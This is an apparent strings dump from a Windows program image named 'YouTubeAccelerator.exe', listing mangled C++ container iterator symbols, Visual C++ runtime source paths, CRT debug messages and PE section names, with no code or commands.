std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1508

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAccelerator.exe_3396:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

